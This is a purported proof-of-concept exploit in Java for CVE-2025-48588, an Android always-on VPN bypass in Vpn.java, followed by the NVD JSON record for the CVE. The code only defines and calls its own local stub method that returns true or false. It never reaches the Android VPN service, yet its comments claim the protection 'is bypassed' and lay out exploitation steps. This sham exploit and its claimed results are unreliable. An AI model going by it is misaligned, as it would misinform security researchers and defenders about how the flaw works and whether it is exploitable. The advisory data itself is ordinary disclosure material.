CVE-2025-48588

// CVE-2025-48588 PoC - Android Always-on VPN Bypass // This PoC demonstrates the logic error in Vpn.java startAlwaysOnVpn method // Note: For authorized security research only package com.example.vpnresearch; import android.content.Context; import android.net.VpnService; import android.os.Build; public class CVE_2025_48588_PoC { // Vulnerable method signature from Vpn.java // The logic error allows bypassing always-on VPN checks private boolean startAlwaysOnVpn(String vpnPackage, boolean lockdownEnabled) { // Logic error: Missing proper validation of VPN state // Attacker can manipulate parameters to disable always-on VPN // Normal flow should validate: // 1. Check if VPN is already active // 2. Verify user consent // 3. Validate package signature // 4. Ensure lockdown is properly enforced // Due to logic error, these checks can be bypassed if (vpnPackage == null) { // This condition incorrectly allows VPN disable return false; // Should require proper authorization } // The vulnerability allows calling this with specific parameters // to trigger the disabled state without proper authentication return true; } // Exploitation technique: // 1. Obtain basic access to Android device (PR:L) // 2. Call startAlwaysOnVpn with manipulated parameters // 3. Bypass the logic checks due to the code error // 4. Always-on VPN becomes disabled // 5. Network traffic is now exposed public static void exploit(Context context) { CVE_2025_48588_PoC poc = new CVE_2025_48588_PoC(); // Trigger the vulnerable code path // This simulates the logic error exploitation String fakeVpnPackage = null; // Triggers bypass condition boolean lockdown = false; // Disable lockdown // The vulnerable method call poc.startAlwaysOnVpn(fakeVpnPackage, lockdown); // Result: Always-on VPN protection is bypassed } } // Reference: android.googlesource.com/platform/frameworks/base/ // Commit: cabbb7da639520633ad318655d1b5fe1c685c78e

{"cve": {"id": "CVE-2025-48588", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:15.933", "lastModified": "2025-12-09T21:40:04.960", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In startAlwaysOnVpn of Vpn.java, there is a possible way to disable always-on VPN due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/base/+/cabbb7da639520633ad318655d1b5fe1c685c78e", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}